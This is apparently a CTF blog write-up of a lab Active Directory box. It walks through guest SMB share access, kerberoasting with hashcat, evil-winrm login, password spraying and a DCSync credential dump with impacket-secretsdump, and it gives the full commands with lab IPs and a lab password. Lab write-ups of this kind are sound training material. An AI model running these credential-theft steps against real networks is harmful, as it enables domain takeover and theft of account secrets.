September 6, 2026·Johnytiger

MartiniAD

A hacksmarter.org Active Directory box: guest access on an SMB share leaks manager credentials, kerberoasting gets a service account, and password reuse turns into DCSync and the krbtgt hash.

securityactive directoryctfwriteuphacksmarter

Kicking things off with an nmap scan to see what we have open and if we find anything interesting. This is an Active Directory box, so the first thing I'll do is kick off enum4linux.

enum4linux-ng -A dc01.dry.martini.bars

Make sure to add the domain to your hosts file so the tools won't break.

Using NetExec we check for guest login and shares, and we end up finding that guest has READ,WRITE on a "notes" share. Let's download the contents of that share.

NetExec enumerating SMB shares as guest, showing READ,WRITE on the notes share

smbclient //10.1.213.132/notes -U 'dc01.dry.martini.bars/guest%' -c 'recurse ON; prompt OFF; mget *'

Looks like a note left by a manager, and it includes credentials. We'll save these creds and run NetExec again with them.

The contents of notes.txt, a manager's to-do list with credentials at the bottom

Next we'll check to see if there are any other users present on the machine by running NetExec with the --users flag.

NetExec with the --users flag listing six domain accounts, including athena.t0 and ATHENA_SVC

We find out there is another user on the machine, so let's stash that in our users list and continue.

After trying out a few things we come to kerberoasting and get a hash for the ATHENA_SVC account. Let's try and crack that.

hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt --force

impacket-GetUserSPNs requesting a TGS for ATHENA_SVC and returning the krb5tgs hash

It cracks and gives us the ATHENA_SVC password, so let's scan it with NetExec and see if we have WinRM access. Turns out we get a Pwn3d!, so let's log in using evil-winrm.

Hashcat cracking the hash, and NetExec returning Pwn3d! over WinRM for ATHENA_SVC

evil-winrm -i 10.1.213.132 -u ATHENA_SVC -p '1dirtymartini'

We run our basic enumeration on Windows and check for groups and privileges, and find out that the account is low privileged.

whoami /priv and whoami /groups output for ATHENA_SVC showing a low-privileged account

Let's map out the system using BloodHound and see what we can find.

Evil-WinRM PS C:\Users\ATHENA_SVC\Documents> Import-Module ActiveDirectory
Evil-WinRM PS C:\Users\ATHENA_SVC\Documents> (Get-Acl "AD:$((Get-ADUser athena.t0).DistinguishedName)").Access | Select IdentityReference,ActiveDirectoryRights,ObjectType | Format-Table -AutoSize

Evil-WinRM PS C:\Users\ATHENA_SVC\Documents> Get-ADUser athena.t0 -Properties MemberOf | Select -ExpandProperty MemberOf
CN=Domain Admins,CN=Users,DC=DRY,DC=MARTINI,DC=BARS
CN=Remote Management Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BARS
CN=Remote Desktop Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BARS

This shows us that athena.t0 is a Domain Admin.

Get-Acl output for the athena.t0 object, listing the ACEs on the account

After enumerating hard with the ATHENA_SVC creds we find nothing, so we'll take a step back and spray the creds against the other users we had found.

NetExec spraying the cracked password across the user list, with athena.t0 coming back Pwn3d! over SMB and WinRM

We find out that athena.t0 reuses passwords from the system. Let's go ahead and impacket-secretsdump all the hashes via DCSync.

impacket-secretsdump 'dry.martini.bars/athena.t0:1dirtymartini@10.1.213.132'

This gives us the krbtgt NTLM hash as the flag.

impacket-secretsdump dumping domain credentials over DCSync, with the krbtgt NTLM hash highlighted

This box was pretty good for beginners. Ngl, I did get stuck in a loop there a little bit with the ATHENA_SVC account. For the future, remember it's always good to take 1-2 steps backwards to re-assess the situation.

End of transmissionAll posts